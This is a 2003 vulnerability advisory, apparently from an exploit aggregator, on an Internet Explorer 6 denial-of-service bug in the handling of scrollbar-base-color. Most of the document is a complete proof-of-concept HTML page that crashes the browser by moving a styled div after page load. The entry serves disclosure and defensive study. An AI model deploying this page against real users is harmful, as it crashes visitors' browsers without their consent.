Microsoft Internet Explorer 6 - Scrollbar-Base-Color Partial Denial of Service

🗓️ 22 Oct 2003 00:00:00Reported by Andreas BoecklerType

Microsoft Internet Explorer vulnerability can cause denial of service due to scrollbar-base-color handling.

source: https://www.securityfocus.com/bid/8874/info

It has been reported that Microsoft Internet Explorer is prone to a vulnerability that may allow an attacker to cause a denial of service condition in the software. The problem occurs due to improper handling of scrollbar-base-color attribute of the div object.

Successful exploitation of this issue may allow an attacker to create a webpage containing malicious script code that would cause a user's browser to crash upon visiting the site.

Microsoft Internet Explorer 6.0 has been reported to be vulnerable to this issue, however other versions may be affected as well.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow-y: hidden;
scrollbar-base-color: '#330066';
}

.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}

</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}

function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move" class="crash">
<table>
<tbody>
<tr>
<td>
<textarea>&lt;/textarea&gt;
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html>

22 Oct 2003 00:00Current

7.4High risk

Vulners AI Score7.4

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